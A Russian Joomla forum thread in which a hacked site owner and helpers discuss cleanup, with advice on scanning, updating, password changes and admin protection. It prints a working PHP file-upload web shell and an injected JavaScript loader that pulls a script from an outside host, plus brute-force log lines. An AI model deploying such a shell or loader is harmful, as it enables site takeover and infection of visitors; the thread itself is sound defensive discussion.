Новости Joomla

Вышли релизы Joomla 5.1.0 и Joomla 4.4.4

Проблема с id в URL материалов Joomla при обновлении большого старого сайта до Joomla 5

В старых версиях Joomla URL адрес формировался по схеме [id материала + алиас материала]. Например, 145-my-article-alias. Однако. старый роутер Joomla был не идеален и плодил дубли страниц, с чем усиленно боролись СЕО специалисты с помощью различных плагинов и хаков ядра CMS.

Используем поля Joomla для фильтрации материалов

Перевод статьи одного из разработчиков ядра Joomla Брайана Тимэна (Brian Teeman).

1 2  Все   Вниз
0 Пользователей и 1 Гость просматривают эту тему.
  • 45 Ответов
  • 3683 Просмотров
*

Serebro2009

  • Захожу иногда
  • 125
  • 0 / 0
Взломали сайт, есть практика "лечения"?
« : 29.12.2015, 23:42:23 »
Никто не сталкивался? Сайт взломали, случайно обнаружил файл (krd.html) в корне следующего содержания:

HaCkeD By MuhmadEmad
Long Live to peshmarga
kurdlinux007@gmail.com
*** ISIS !

Может кто знает как бороться? 
Joomla стоит 3.4.7

Так же в корне еще находится файл (apis.php) сожержание:

<?
error_reporting(0);
if(isset($_GET[sdbu]))
   {
      echo"<font color=#FFFFFF>[uname]".php_uname()."[/uname]<br>";
      echo "<font color=#FFFFFF>[pwd]".getcwd()."[/pwd]<br>";
      print "\n";$disable_functions = @ini_get("disable_functions");
      echo "DisablePHP=".$disable_functions; print "<br>";
      echo"<form method=post enctype=multipart/form-data>";
      echo"<input type=file name=f><input name=v type=submit id=v value=up><br>";
        if($_POST["v"]==up)
{ if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"<b>berhasil</b>-->".$_FILES["f"]["name"];}else{echo"<b>gagal";}} 
{ if(@copy($_FILES["emad"]["tmp_name"],$_FILES["emad"]["name"])){echo"<b></b>-->".$_FILES["emad"]["name"];}else{echo"<b>";}}}
?>
Записан
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Re: Взломали сайт, есть практика "лечения"?
« Ответ #1 : 30.12.2015, 09:12:02 »
http://joomlaforum.ru/index.php/board,104.0.html в основном разделе полно рекомендаций. Советую воспользоватся сканером ai-bolit поле обновления всего, что возможно на сайте.
Записан
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: Взломали сайт, есть практика "лечения"?
« Ответ #2 : 30.12.2015, 09:12:50 »
Цитата: Serebro2009 от 29.12.2015, 23:42:23
Joomla стоит 3.4.7
Бывает, что шелы на сайтах месяцами-годами лежат, а юзаются по мере необходимости, эта ветка версии недавно с фиксами вышла, шелы наверняка уже до нее были, более того, на сегодняшний день уже есть https://www.joomla.org/announcements/release-news/5644-joomla-3-4-8-released.html - Joomla 3.4.8
Записан
*

Serebro2009

  • Захожу иногда
  • 125
  • 0 / 0
Re: Взломали сайт, есть практика "лечения"?
« Ответ #3 : 30.12.2015, 09:59:44 »
Цитата: wishlight от 30.12.2015, 09:12:02
http://joomlaforum.ru/index.php/board,104.0.html в основном разделе полно рекомендаций. Советую воспользоватся сканером ai-bolit поле обновления всего, что возможно на сайте.
Сканировал ai-bolit'ом еще до установки различных модулей...отсылал результат Земскову - ответил, что все Ок


елы на сайтах месяцами-годами лежат, а юзаются по мере необходимости, эта ветка версии недавно с фиксами вышла, шелы наверняка уже до нее были, более того, на сегодняшний день уже есть https://www.joomla.org/announcements/release-news/5644-joomla-3-4-8-released.html - Joomla 3.4.8

Угу, обновляюсь
Записан
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: Взломали сайт, есть практика "лечения"?
« Ответ #4 : 30.12.2015, 10:16:56 »
Цитата: Serebro2009 от 30.12.2015, 09:59:44
Сканировал ai-bolit'ом еще до установки различных модулей...отсылал результат Земскову - ответил, что все Ок
ai-bolit - это одно из решений к комплексному подходу, второй момент просто также шелл не оказался же.... может это и просто в качестве бегдора лежал, но еще не использовался, в любом случае имеет смысл подумать по усилению защиты сайта, дабы избежать подобных рисков заражения.
Записан
*

12mv

  • Давно я тут
  • 548
  • 20 / 0
  • Гульсина
Re: Взломали сайт, есть практика "лечения"?
« Ответ #5 : 30.12.2015, 10:44:19 »
Мне так кажется, что простого обновления не достаточно. Нужно вылечить сайт, а потом уже обновлять.
скачайте сайт на комп и  поиском по файлам в нотепаде ищите упоминания о подозрительных строчках, чистите и заливайте обратно сайт. В каждой папке нужно проверить и сравнить с дистрибьютором на наличие лишних/подозрительных и сносить. А потом уже обновлять на чистом сайте.
Я свой так и вылечила на 1.5 когда то) Айболитом мне ничего не показывало, а Яндекс и Google заблочили, пришлось самой копать.
Записан
*

Serebro2009

  • Захожу иногда
  • 125
  • 0 / 0
Re: Взломали сайт, есть практика "лечения"?
« Ответ #6 : 30.12.2015, 10:50:03 »
Цитата: winstrool от 30.12.2015, 10:16:56
ai-bolit - это одно из решений к комплексному подходу, второй момент просто также шелл не оказался же.... может это и просто в качестве бегдора лежал, но еще не использовался, в любом случае имеет смысл подумать по усилению защиты сайта, дабы избежать подобных рисков заражения.
Спасибо, сканирую повторно

>>Мне так кажется, что простого обновления не достаточно. Нужно вылечить сайт, а потом уже обновлять.
Как бы, не могу понять от чего лечить. файлы шелла - удалил. В корне и в папке tmp.
Меня больше интересует, а как можно проанализировать, может это брутфорс? Как-то можно отследить количество попыток ввода пароля для ftp?
Записан
*

Serebro2009

  • Захожу иногда
  • 125
  • 0 / 0
Re: Взломали сайт, есть практика "лечения"?
« Ответ #7 : 30.12.2015, 10:58:22 »
В папке log, есть файл error.php В нем 20 тысяч запросов вида:

2015-11-17T05:55:13+00:00   INFO 46.161.3.92   joomlafailure   Имя пользователя и пароль не совпадают или у вас ещё нет учётной записи на сайте
2015-11-17T05:55:19+00:00   INFO 46.161.3.92   joomlafailure   Имя пользователя и пароль не совпадают или у вас ещё нет учётной записи на сайте
2015-11-17T05:55:24+00:00   INFO 46.161.3.92   joomlafailure   Имя пользователя и пароль не совпадают или у вас ещё нет учётной записи на сайте
2015-11-17T05:55:28+00:00   INFO 46.161.3.92   joomlafailure   Имя пользователя и пароль не совпадают или у вас ещё нет учётной записи на сайте
Записан
*

SeBun

  • BanMaster
  • 4018
  • 259 / 5
  • @SeBun48
Re: Взломали сайт, есть практика "лечения"?
« Ответ #8 : 30.12.2015, 10:59:21 »
Цитата: Serebro2009 от 30.12.2015, 10:58:22
В папке log, есть файл error.php В нем 20 тысяч запросов вида:

2015-11-17T05:55:13+00:00   INFO 46.161.3.92   joomlafailure   Имя пользователя и пароль не совпадают или у вас ещё нет учётной записи на сайте
Похоже на брут.
Записан
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: Взломали сайт, есть практика "лечения"?
« Ответ #9 : 30.12.2015, 11:01:36 »
Да, там ведутся записи, о не верной аутентификации, админку нужно дополнительно защищать!
Записан
*

Serebro2009

  • Захожу иногда
  • 125
  • 0 / 0
Re: Взломали сайт, есть практика "лечения"?
« Ответ #10 : 30.12.2015, 11:02:02 »
Первая запись от 04.11 последняя от 29.12...вчера и обнаружил файл. Это чего, меня пытались взломать полтора месяца?)
Записан
*

12mv

  • Давно я тут
  • 548
  • 20 / 0
  • Гульсина
Re: Взломали сайт, есть практика "лечения"?
« Ответ #11 : 30.12.2015, 11:04:43 »
Цитата: Serebro2009 от 30.12.2015, 10:50:03
Как бы, не могу понять от чего лечить. файлы шелла - удалил. В корне и в папке tmp.
Меня больше интересует, а как можно проанализировать, может это брутфорс? Как-то можно отследить количество попыток ввода пароля для ftp?

Определить можно по лог файлам, с каких IP заходили, учше попросить хостеров чтобы вытащили.

Простого удаления сторонних файлов не достаточно, нужно так же вычистить и файлы в которые был добавлен код.
В моём случае, были заражены js файлы ( 749  файлов)

во всех файлах этих был код:

Код
function g(){var r=new RegExp("(?:; )?1=([^;]*);?");return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled){document.cookie="1=1;expires="+e.toGMTString()+";path=/";document.write('<scr'+'ipt src="http://yourstat.org/yourstat.php"></scr'+'ipt>');}

Все зараженные файлы я тут нашла: http://antivirus-alarm.ru/
После чистки и перепроверки, показало что всё чисто, Яндекс и Google разбанили тоже.
Записан
*

SeBun

  • BanMaster
  • 4018
  • 259 / 5
  • @SeBun48
Re: Взломали сайт, есть практика "лечения"?
« Ответ #12 : 30.12.2015, 11:13:54 »
Цитата: 12mv от 30.12.2015, 11:04:43
Определить можно по лог файлам, с каких IP заходили...
Что бы понять, как действует взломщик, нужно самому быть немного хакером и знать механизмы получения доступа к сайту, а их довольно много. Логи при этом могут не всегда вестись. Например, если выполняется SQL-инъект.
Записан
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

Serebro2009

  • Захожу иногда
  • 125
  • 0 / 0
Re: Взломали сайт, есть практика "лечения"?
« Ответ #13 : 30.12.2015, 11:15:20 »
Проверил http://antivirus-alarm.ru/ пока все чисто.
Модификации файлов, можно отследить по их последнему изменению?
Записан
*

Serebro2009

  • Захожу иногда
  • 125
  • 0 / 0
Re: Взломали сайт, есть практика "лечения"?
« Ответ #14 : 30.12.2015, 11:16:40 »
Цитата: SeBun от 30.12.2015, 11:13:54
Что бы понять, как действует взломщик, нужно самому быть немного хакером и знать механизмы получения доступа к сайту, а их довольно много. Логи при этом могут не всегда вестись. Например, если выполняется SQL-инъект.
Я пока смотрю...в сторону плагинов которые помогут отследить это
Записан
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: Взломали сайт, есть практика "лечения"?
« Ответ #15 : 30.12.2015, 11:25:19 »
Цитата: Serebro2009 от 30.12.2015, 11:15:20
Проверил http://antivirus-alarm.ru/ пока все чисто.
Модификации файлов, можно отследить по их последнему изменению?
Если взломщик не менял то да, но опытные меняют, у файлов есть три атрибута даты, дата создания, дата изминения и дата доступа(вроде так...), вы в своих панелях, как правило, видите только дату изменения, которую можно поправить функцией touch();

Чтобы вообще понять некоторые аспекты уязвимости сайтов и серваков, залейте сами к себе на сайт WSO shell (как пример) и по изучайте возможности того, чего вы сможете сделать если вы внутри, и что вам вообще нужно сделать чтоб избежать этого, по изучайте различные варианты бегдоров, посмотрите как они работают, попробуйте написать свои варианты, это вам поможет понять общею философию сего дела.
Записан
*

12mv

  • Давно я тут
  • 548
  • 20 / 0
  • Гульсина
Re: Взломали сайт, есть практика "лечения"?
« Ответ #16 : 30.12.2015, 11:27:27 »
Мне тут видео скинули, как шелл заливают. Руки бы оторвала.

Записан
*

SeBun

  • BanMaster
  • 4018
  • 259 / 5
  • @SeBun48
Re: Взломали сайт, есть практика "лечения"?
« Ответ #17 : 30.12.2015, 11:30:28 »
Цитата: 12mv от 30.12.2015, 11:27:27
Мне тут видео скинули, как шелл заливают. Руки бы оторвала.
Нужно не руки отрывать, а учиться элементарным правилам безопасности. Почитайте...
Записан
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: Взломали сайт, есть практика "лечения"?
« Ответ #18 : 30.12.2015, 11:31:30 »
Цитата: 12mv от 30.12.2015, 11:27:27
Мне тут видео скинули, как шелл заливают. Руки бы оторвала.


... да на твоем видео еще и ядро рутабельное, что может привести к рууту всего хостинга!...

Отрывай  :laugh: :laugh: :laugh:
https://forum.antichat.ru/threads/398859/

P.S: Меня честно иногда удивляет, когда люди лезут в защиту и лечения сайтов, не понимая техник, методик взлома и троянизации систем.
« Последнее редактирование: 30.12.2015, 11:43:44 от winstrool »
Записан
*

Serebro2009

  • Захожу иногда
  • 125
  • 0 / 0
Re: Взломали сайт, есть практика "лечения"?
« Ответ #19 : 30.12.2015, 11:36:28 »
В соседней ветке есть цитата:

Цитировать
В логах нашел записи
86.123.69.119 - - [17/Dec/2015:10:30:37 +0300] "GET / HTTP/1.1" 200 32849 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0"
86.123.69.119 - - [17/Dec/2015:10:30:39 +0300] "GET / HTTP/1.1" 200 35301 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0"
86.123.69.119 - - [17/Dec/2015:10:30:40 +0300] "GET /config.php HTTP/1.1" 200 170 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0"

Данные логи нужно просить у хостера?
Записан
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: Взломали сайт, есть практика "лечения"?
« Ответ #20 : 30.12.2015, 11:38:30 »
Все проси, все пригодятся, если умеешь анализировать, а если нет, то толку не будет...
Записан
*

Serebro2009

  • Захожу иногда
  • 125
  • 0 / 0
Re: Взломали сайт, есть практика "лечения"?
« Ответ #21 : 30.12.2015, 11:50:02 »
Теперь нужно и пароль к базе данных менять. Это можно сделать в фале configuration.php?
Записан
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: Взломали сайт, есть практика "лечения"?
« Ответ #22 : 30.12.2015, 11:52:32 »
Цитата: Serebro2009 от 30.12.2015, 11:50:02
Теперь нужно и пароль к базе данных менять. Это можно сделать в фале configuration.php?
Сначала в центральной панели хостинга, а потом в configuration.php
Записан
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Re: Взломали сайт, есть практика "лечения"?
« Ответ #23 : 30.12.2015, 11:53:20 »
Там данные доступа меняются. А сам пароль через панель управления или консоль. Если вы уже сменили пароль к пользователю базы данных, то да в configuration.php пишутся новые данные.
Записан
*

12mv

  • Давно я тут
  • 548
  • 20 / 0
  • Гульсина
Re: Взломали сайт, есть практика "лечения"?
« Ответ #24 : 30.12.2015, 11:58:15 »
Цитата: Serebro2009 от 30.12.2015, 11:50:02
Теперь нужно и пароль к базе данных менять. Это можно сделать в фале configuration.php?

И не только там, знаю дурная привычка, ftp оставлять, поработал, удалить доступ.
Записан
*

Serebro2009

  • Захожу иногда
  • 125
  • 0 / 0
Re: Взломали сайт, есть практика "лечения"?
« Ответ #25 : 30.12.2015, 12:03:04 »
Сменил через консоль а :) configuration.php не дает редактировать по ftp) Где меняются привилегии?
Записан
*

Serebro2009

  • Захожу иногда
  • 125
  • 0 / 0
Re: Взломали сайт, есть практика "лечения"?
« Ответ #26 : 30.12.2015, 12:06:33 »
Ага все изменил...) спасибо
Записан
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Взломали сайт, есть практика "лечения"?
« Ответ #27 : 30.12.2015, 12:18:09 »
Папку администратора закройте, если еще не закрыли, с помощью http авторизации
Записан
*

Serebro2009

  • Захожу иногда
  • 125
  • 0 / 0
Re: Взломали сайт, есть практика "лечения"?
« Ответ #28 : 30.12.2015, 12:22:06 »
Ага, читаю как сделать это. Спасибо за совет
Записан
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Взломали сайт, есть практика "лечения"?
« Ответ #29 : 30.12.2015, 14:52:45 »
Цитата: Serebro2009 от 30.12.2015, 12:22:06
Ага, читаю как сделать это. Спасибо за совет
на хостинге в менеджере файлов или еще где есть сейчас практически везде "ограничения на папку" называется, там указываете папку и логин и пас для пользователя вписываете и автоматом все нужные файлы создаются
Записан
1 2  Все   Вверх
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

При открытии сайта с режима инкогнито перекидывает на вирусный сайт

Автор 62411

 Ответов: 6
Просмотров: 330 		Последний ответ 31.03.2024, 16:14:32
от SeBun
Netflix! - Клиент поймал фишинг на старый сайт. Где порылись собаки?

Автор Alex_gs

 Ответов: 9
Просмотров: 1650 		Последний ответ 05.11.2021, 21:47:31
от wishlight
Взломали сайт. Как в некоторых случаях делаю я

Автор cntrl

 Ответов: 0
Просмотров: 636 		Последний ответ 29.08.2020, 00:25:24
от cntrl
Безопасный вход на сайт Joomla и админка

Автор jm

 Ответов: 9
Просмотров: 1439 		Последний ответ 19.07.2020, 23:57:17
от wishlight
[Руководство] Как защитить сайт на версии 1.5 (не поддерживается разработчиками)

Автор flyingspook

 Ответов: 13
Просмотров: 5883 		Последний ответ 08.01.2020, 12:52:55
от winstrool